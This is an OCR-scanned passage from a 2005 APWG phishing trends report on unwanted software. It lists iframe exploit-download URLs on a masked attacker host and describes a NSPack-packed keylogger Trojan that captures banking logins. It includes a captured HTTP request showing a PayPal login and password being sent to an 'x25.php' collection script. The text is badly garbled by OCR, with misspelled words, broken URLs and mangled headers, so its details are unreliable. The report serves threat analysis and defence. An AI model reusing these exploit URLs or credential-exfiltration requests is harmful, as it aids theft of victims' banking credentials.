PC
Web

APWG Phishing Activity Trends Report 2005 12

Potentially Unwanted Software ( )

Potentially Unwanted Software

iFrame

ActiveX

IFRAME SRC URL
URL
http://toolbarXXX.biz/dl/xpladv470.wmf
http.//toolbarXXX.biz/dl/fillmemadv470.htm.
http://toolbarXXX.biz/dl/sploitadv470.anr
http://toolbarXXX.biz/dl/xpladv470.wmf
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Paypal

The keylogger is usually refrieved from a URL such as:

hitpaf too1barX(XX. bizfprogs/kl txt

klixtis a not a text file; it is a Windows binary Trojan horse that is packed with NSPack.

file cutput:

file kltxt

klixt: MS-DOS executable (EXE), OS/2 or MS Windows

The dropper includes a number of files. The dropped keylcgger files are typically named ibmXXX. exe and ibmXXX.dll. This keylogger monitors for

every POST reguest made by the client computer (such as a logon to a banking website) and sends the captured information to a URL running a script
named 'x25 php'. This program also injects itself into the Explorer process and silently redirects attempts to login to specific financial sites.
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POST Agamma/ZS, phpd s i whe S e i e e B S S
Content-Type: multipart/torm-data; boundary=swefasvgdvwstt

<o Host: BRECs e

Content-Langth: 457

loonmection: Close

lzer- Agent: Mazillas4.0

Host: syt e

}cache-Control: no-cache

.o -awefasvgdwes T
[Content-Cisposition: form-data; name=datafile; filename="data.str"
. v aCOntent-Type: application/octet-straam

L..4.ct . Application: e:yprogram fileavinternet exploreriiexplore.exe
FEQLIEST :

HEADEFRS:

POST jfegi-bindwebscrPemd=_Llogin-submit HTTRf1.1

Hoat: st ie ] ol

Faferar: http://www.paypal.com/

noCT_ FonM:
[Login_emall=user@demain.coms-- Captured Login
Login_password=mypassword < -- Captured Pas=sword
lsubmit. x=LogtIn

form_charast=UTF-8
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